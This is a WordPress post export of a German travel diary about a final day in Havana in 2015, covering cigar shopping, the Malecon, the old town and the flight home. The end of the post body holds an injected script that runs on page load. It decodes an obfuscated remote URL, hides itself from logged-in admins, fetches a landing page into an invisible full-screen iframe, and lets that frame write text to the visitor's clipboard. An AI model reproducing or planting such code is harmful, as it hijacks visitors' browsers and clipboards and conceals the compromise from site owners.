{"id":2168,"date":"2015-06-15T18:15:00","date_gmt":"2015-06-15T18:15:00","guid":{"rendered":"http:\/\/karnoll.de\/?p=2168"},"modified":"2026-05-22T17:45:11","modified_gmt":"2026-05-22T17:45:11","slug":"abschied-von-havanna-kuba","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=2168","title":{"rendered":"Abschied von Havanna\/ Kuba"},"content":{"rendered":"<p>Der letzte Tag bricht an. Da unser Flug heute Abend erst um 21:45 Uhr geht und wir erst um 18:45 Uhr vom Hotel abgeholt und zum Flughafen gebracht werden, haben wir noch einen ganzen Tag, den wir in Havanna verbringen k\u00f6nnen. Die Hauptstadt Kubas zeigte sich bei strahlendem Sonnenschein noch einmal von seiner besten Seite.<\/p>\n<p>Der erste Plan ist es, erst einmal Cohiba- Zigarren zu kaufen. Dazu gehen wir ins Hotel \u201cMel\u00eda Cohiba\u201d die auf jeden Fall eine gute Auswahl an Zigarren haben.<\/p>\n<p>Nachdem wir 14 Original- Cohiba- Zigarren, eine Zigarrenkiste, Zigarrenschneider und Zigarillos der Marke \u201cRomeo y Julieta\u201d erstanden hatten, brachten wir unsere Sch\u00e4tze erst mal in unser Hotel zur\u00fcck, um sie dort sicher bei unseren Koffern zu verwahren.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2015.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2015\" alt=\"SAM_2015\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2015_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p>Nun sollte es in die Altstadt Havannas gehen. Hierf\u00fcr suchten wir uns ein besonderes Taxi aus.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2019.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2019\" alt=\"SAM_2019\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2019_thumb.jpg\" width=\"164\" height=\"244\" border=\"0\" \/><\/a><\/p>\n<p>Wir fuhren wieder Richtung Malecon (Uferstra\u00dfe von Havanna), dort lie\u00dfen wir uns von unserem Taxi absetzen. Wir wollten uns dort die Kunst anschauen, die dort ausgestellt ist. Der Malecon wird aber auch sehr gerne von den Eiheimischen zum Angeln genutzt.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2168.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2168\" alt=\"SAM_2168\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2168_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2034.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2034\" alt=\"SAM_2034\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2034_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2036.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2036\" alt=\"SAM_2036\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2036_thumb.jpg\" width=\"164\" height=\"244\" border=\"0\" \/><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2038.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2038\" alt=\"SAM_2038\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2038_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p>Nachdem wir uns bei einem leckeren Mittagessen mit frischen Meeresfr\u00fcchten gest\u00e4rkt haben, schauten wir uns die Seitenstra\u00dfen von Havanna an, um zu sehen, wie die \u201cnormalen\u201d Einwohner Havannas abseits des Tourismus wohnen. Die Menschen waren sehr nett und gr\u00fc\u00dften uns, keiner wollte uns anbetteln.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2011.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2011\" alt=\"SAM_2011\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2011_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2071.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2071\" alt=\"SAM_2071\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2071_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC8325.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC8325\" alt=\"_DSC8325\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC8325_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2139.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2139\" alt=\"SAM_2139\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2139_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC8326.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC8326\" alt=\"_DSC8326\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/DSC8326_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2056.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2056\" alt=\"SAM_2056\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2056_thumb.jpg\" width=\"164\" height=\"244\" border=\"0\" \/><\/a>\u00a0 <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2077.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2077\" alt=\"SAM_2077\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2077_thumb.jpg\" width=\"164\" height=\"244\" border=\"0\" \/><\/a> Hier sieht man die Feuerwache und im Hintergrund sieht man die Verwaltung der \u201cBarcardis\u201d (ja, die den Rum herstellen). Ganz oben erkennt man die obligatorische Fledermaus.<\/p>\n<p>Es blieb nat\u00fcrlich nicht aus, dass wir wieder auf dem Placa Central landeten. Von dort aus ging es wieder \u00fcber die Obispo- Stra\u00dfe in die Altstadt.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2080.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2080\" alt=\"SAM_2080\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2080_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a>\u00a0 <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2109.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2109\" alt=\"SAM_2109\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2109_thumb.jpg\" width=\"164\" height=\"244\" border=\"0\" \/><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2110.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2110\" alt=\"SAM_2110\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2110_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a>\u00a0 <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2126.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2126\" alt=\"SAM_2126\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2126_thumb.jpg\" width=\"164\" height=\"244\" border=\"0\" \/><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2130.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2130\" alt=\"SAM_2130\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2130_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2131.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2131\" alt=\"SAM_2131\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2131_thumb.jpg\" width=\"164\" height=\"244\" border=\"0\" \/><\/a>\u00a0 <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2137.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2137\" alt=\"SAM_2137\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2137_thumb.jpg\" width=\"164\" height=\"244\" border=\"0\" \/><\/a><\/p>\n<p>Hier ein kleiner Einblick in einen Laden f\u00fcr Einheimische.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2086.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2086\" alt=\"SAM_2086\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2086_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2087.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2087\" alt=\"SAM_2087\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2087_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p>Ein letzter Mojito bei guter Musik\u2026<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2097.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2097\" alt=\"SAM_2097\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2097_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2100.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2100\" alt=\"SAM_2100\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2100_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p>Nat\u00fcrlich schauten wir auch noch mal in unserer mittlerweile liebgewordenen Stammkneipe vorbei, und da waren sie wieder: die Band vom ersten Abend, von denen wir auch schon eine CD gekauft hatten!<\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/pAvfrFtW89Y\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2144.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2144\" alt=\"SAM_2144\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2144_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2145.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2145\" alt=\"SAM_2145\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2145_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p>Wir lie\u00dfen uns bei guter Musik noch einmal ein letztes einheimisches Bier schmecken.<\/p>\n<p>F\u00fcr den R\u00fcckweg suchten wir uns wieder ein s\u00fc\u00dfes Coco- Taxi aus. Ich wollte auch gerne eine kleine Probefahrt machen, aber der Besitzer wollte das nicht. So ein Taxi w\u00e4re auch eine Alternative zu einer Harley Davidson\u2026 \ud83d\ude09<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2153.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2153\" alt=\"SAM_2153\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2153_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a>\u00a0 <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2182.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2182\" alt=\"SAM_2182\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2182_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p>Im Hotel trafen wir uns wieder mit unserer Reisegruppe. Dann ging es zur\u00fcck zum Flughafen, wo wir ohne Probleme eincheckten und unsere Pl\u00e4tze im Flieger f\u00fcr den 10- st\u00fcndigen Heimflug einnahmen.<\/p>\n<p>Und hier noch einmal ein letzter Blick aus dem Flieger auf Havanna!<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2184.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_2184\" alt=\"SAM_2184\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2015\/06\/SAM_2184_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Der letzte Tag bricht an. Da unser Flug heute Abend erst um 21:45 Uhr geht und wir erst um 18:45 Uhr vom Hotel abgeholt und zum Flughafen gebracht werden, haben wir noch einen ganzen Tag, den wir in Havanna verbringen k\u00f6nnen. Die 